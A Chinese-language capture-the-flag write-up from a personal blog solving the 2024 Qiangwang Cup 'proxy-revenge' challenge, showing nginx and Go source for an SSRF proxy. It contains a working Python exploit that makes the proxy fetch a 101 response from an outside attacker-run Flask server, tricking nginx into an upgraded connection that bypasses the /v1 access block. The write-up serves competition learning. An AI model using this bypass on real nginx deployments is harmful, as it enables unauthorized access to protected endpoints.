Skip to content
blogs of mekrina
Go back

2024强网杯

Updated:
Edit page

proxy-revenge

/etc/nginx/conf.d

# map.conf
map $http_upgrade $connection_upgrade {
    default upgrade;
    ''      close;
}
# $http_upgrade是请求中Upgrade头的值
# 这里的含义是如果请求头中Upgrade为空(或没有这个头), 则$connection_upgrade=close
# 否则 = upgrade
# proxy.conf
server {
    listen 8000;

    location ~ /v1 {
        return 403;
    }

    location ~ /v2 {
        proxy_pass http://localhost:8769;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Upgrade $http_upgrade; # 原始请求的upgrade头
        proxy_set_header Connection $connection_upgrade; # 'close' 或 'upgrade'
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
package main

import (
	"bytes"
	"crypto/rand"
	"io"
	"net/http"

	"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
	URL             string            `json:"url" binding:"required"`
	Method          string            `json:"method" binding:"required"`
	Body            string            `json:"body"`
	Headers         map[string]string `json:"headers"`
	FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
	key := make([]byte, 64)
	if _, err := io.ReadFull(rand.Reader, key); err != nil {
		panic(err.Error())
	}
	// cmd := exec.Command("/readflag")
	// flag, err := cmd.CombinedOutput()
	// if err != nil {
	// 	panic(err.Error())
	// }
	// flagStr := string(flag)

	// flagStr := "flag{good}"

	r := gin.Default()

	v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			c.JSON(http.StatusOK, gin.H{"flag": "hello"})
		})
	}

	v2 := r.Group("/v2")
	{
		v2.POST("/api/proxy", func(c *gin.Context) {
			var proxyRequest ProxyRequest
			if err := c.ShouldBindJSON(&proxyRequest); err != nil {
				c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
				return
			}

			client := &http.Client{
				CheckRedirect: func(req *http.Request, via []*http.Request) error {
					if !req.URL.IsAbs() {
						return http.ErrUseLastResponse
					}

					if !proxyRequest.FollowRedirects {
						return http.ErrUseLastResponse
					}

					return nil
				},
			}

			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			for key, value := range proxyRequest.Headers {
				req.Header.Set(key, value)
			}

			resp, err := client.Do(req)

			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			defer resp.Body.Close()

			body, err := io.ReadAll(resp.Body)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			if bytes.Contains(body, []byte("flag")) {
				c.JSON(http.StatusOK, gin.H{"status": "error", "message": "Flag is not allowed in response body"})
				return
			}

			for i := 0; i < len(body); i++ {
				body[i] ^= key[i%len(key)]
				body[i] += key[(i+1)%len(key)]
				body[i] -= key[(i+2)%len(key)]
				body[i] ^= key[(i+3)%len(key)]
			}

			c.JSON(resp.StatusCode, gin.H{"status": "success", "body": body, "headers": resp.Header})
		})
	}

	r.Run("127.0.0.1:8769")
}

v1路由禁止访问, v2是个代理服务, 想从v2 ssrf访问v1拿到flag被过滤了 (Range不生效 没想到其他绕过方法)

这里看到nginx配置中有不合群的upgrade

所以我们这里发个带Upgrade头的包, 那么nginx就会知道向后端发送一个协议升级的请求 这时如果后端返回status_code 101, nginx会认为升级成功, 后续该TCP连接上的请求将视为upgrade后的协议方式, 而不当作http 从而不会进行uri的匹配,进而绕过权限验证

如何控制后端返回101的响应呢? 刚好v2是个代理服务器嘛

#cracker

import requests
import json

target = "http://127.0.0.1:5870"
content = {"url": "http://10.201.65.210:5000/", "method": "get"}  # 在http://10.201.65.210:5000启动一个返回101的python服务

# from flask import Flask, Response
# app = Flask(__file__)
# @app.route("/")
# def index():
#     return "done", 101
# app.run("0.0.0.0", 5000)

# 使用 Session 可以复用 TCP 连接
with requests.Session() as session:
    # 第一次请求
    headers = {
        "Upgrade": "websocket"
    }
    resp1 = session.post(f"{target}/v2/api/proxy", headers=headers, json=content) # 返回101, 欺骗nginx
    print(resp1.status_code, resp1.text)

    # 第二次请求,复用同一个 TCP 连接 (必须是刚才升级的连接)
    resp2 = session.post(f"{target}/v1/api/flag") # nginx不认为是http请求, 不会进行检查
    print(resp2.status_code, resp2.text)

Edit page